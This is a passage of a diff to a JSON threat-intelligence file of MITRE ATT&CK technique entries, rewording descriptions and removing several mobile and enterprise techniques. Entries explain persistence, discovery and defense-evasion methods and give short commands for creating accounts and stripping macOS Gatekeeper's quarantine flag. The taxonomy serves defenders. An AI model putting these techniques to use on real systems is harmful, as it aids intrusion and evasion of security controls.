"https://twitter.com/leoloobeek/status/939248813465853953" ] }, "related": [ @@ -18198,7 +16404,7 @@ "value": "Systemd Timers - T1053.006" }, { - "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", + "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "meta": { "external_id": "T1037.005", "kill_chain": [ @@ -18230,7 +16436,7 @@ "value": "Startup Items - T1037.005" }, { - "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "meta": { "external_id": "T1069.003", "kill_chain": [ @@ -18278,7 +16484,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Process: Process Creation", "User Account: User Account Metadata" ], "mitre_platforms": [ @@ -18430,7 +16635,7 @@ "value": "Unix Shell - T1059.004" }, { - "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.", + "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.", "meta": { "external_id": "T1078.004", "kill_chain": [ @@ -18532,7 +16737,7 @@ "value": "IP Addresses - T1590.005" }, { - "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )", + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", "meta": { "external_id": "T1059.005", "kill_chain": [ @@ -18555,8 +16760,7 @@ "https://docs.microsoft.com/dotnet/visual-basic/", "https://docs.microsoft.com/office/vba/api/overview/", "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)", - "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications", - "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805" + "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications" ] }, "related": [ @@ -18626,43 +16830,6 @@ "uuid": "84ae8255-b4f4-4237-b5c5-e717405a9701", "value": "Link Target - T1608.005" }, - { - "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", - "meta": { - "external_id": "T1098.005", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Active Directory: Active Directory Object Creation", - "Application Log: Application Log Content", - "User Account: User Account Modification" - ], - "mitre_platforms": [ - "Azure AD", - "Windows", - "SaaS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1098/005", - "https://o365blog.com/post/bprt/", - "https://o365blog.com/post/devices/", - "https://o365blog.com/post/mdm", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", - "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack", - "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa", - "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" - ] - }, - "related": [ - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "type": "subtechnique-of" - } - ], - "uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "value": "Device Registration - T1098.005" - }, { "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "meta": { @@ -18694,30 +16861,6 @@ "uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "value": "Standard Encoding - T1132.001" }, - { - "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.", - "meta": { - "external_id": "T1521.001", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521/001" - ] - }, - "related": [ - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "type": "subtechnique-of" - } - ], - "uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", - "value": "Symmetric Cryptography - T1521.001" - }, { "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "meta": { @@ -18750,7 +16893,7 @@ "value": "Local Account - T1136.001" }, { - "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", "meta": { "external_id": "T1491.001", "kill_chain": [ @@ -18782,30 +16925,6 @@ "uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", "value": "Internal Defacement - T1491.001" }, - { - "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1521/002).", - "meta": { - "external_id": "T1521.002", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521/002" - ] - }, - "related": [ - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "type": "subtechnique-of" - } - ], - "uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", - "value": "Asymmetric Cryptography - T1521.002" - }, { "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", "meta": { @@ -18902,31 +17021,6 @@ "uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "value": "Domain Account - T1136.002" }, - { - "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken. \n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. \n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. \n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files. ", - "meta": { - "external_id": "T1623.001", - "kill_chain": [ - "mitre-mobile-attack:execution" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1623/001", - "https://partner.samsungknox.com/mtd" - ] - }, - "related": [ - { - "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "type": "subtechnique-of" - } - ], - "uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "value": "Unix Shell - T1623.001" - }, { "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "meta": { @@ -18999,55 +17093,7 @@ "value": "System Firmware - T1542.001" }, { - "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. \n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. \n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts) ", - "meta": { - "external_id": "T1624.001", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1624/001", - "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" - ] - }, - "related": [ - { - "dest-uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", - "type": "subtechnique-of" - } - ], - "uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "value": "Broadcast Receivers - T1624.001" - }, - { - "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", - "meta": { - "external_id": "T1481.002", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1481/002" - ] - }, - "related": [ - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "type": "subtechnique-of" - } - ], - "uuid": "939808a7-121d-467a-b028-4441ee8b7cee", - "value": "Bidirectional Communication - T1481.002" - }, - { - "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", + "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", "meta": { "external_id": "T1491.002", "kill_chain": [ @@ -19101,9 +17147,7 @@ "refs": [ "http://www.autosectools.com/process-hollowing.pdf", "https://attack.mitre.org/techniques/T1055/012", - "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" ] }, "related": [ @@ -19116,7 +17160,7 @@ "value": "Process Hollowing - T1055.012" }, { - "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)", + "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)", "meta": { "external_id": "T1562.010", "kill_chain": [ @@ -19134,8 +17178,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1562/010", - "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/", - "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique", "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/" @@ -19188,8 +17230,7 @@ "Azure AD", "Office 365", "IaaS", - "Google Workspace", - "SaaS" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1136/003", @@ -19209,30 +17250,6 @@ "uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", "value": "Cloud Account - T1136.003" }, - { - "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nHardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices. ", - "meta": { - "external_id": "T1633.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1633/001" - ] - }, - "related": [ - { - "dest-uuid": "27d18e87-8f32-4be1-b456-39b90454360f", - "type": "subtechnique-of" - } - ], - "uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "value": "System Checks - T1633.001" - }, { "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "meta": { @@ -19304,31 +17321,6 @@ "uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "value": "Launch Agent - T1543.001" }, - { - "description": "Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server. \n\nWeb protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect. ", - "meta": { - "external_id": "APP-29", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1437/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" - ] - }, - "related": [ - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "type": "subtechnique-of" - } - ], - "uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "value": "Web Protocols - T1437.001" - }, { "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)", "meta": { @@ -19435,34 +17427,6 @@ "uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", "value": "SSH Hijacking - T1563.001" }, - { - "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. \n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary 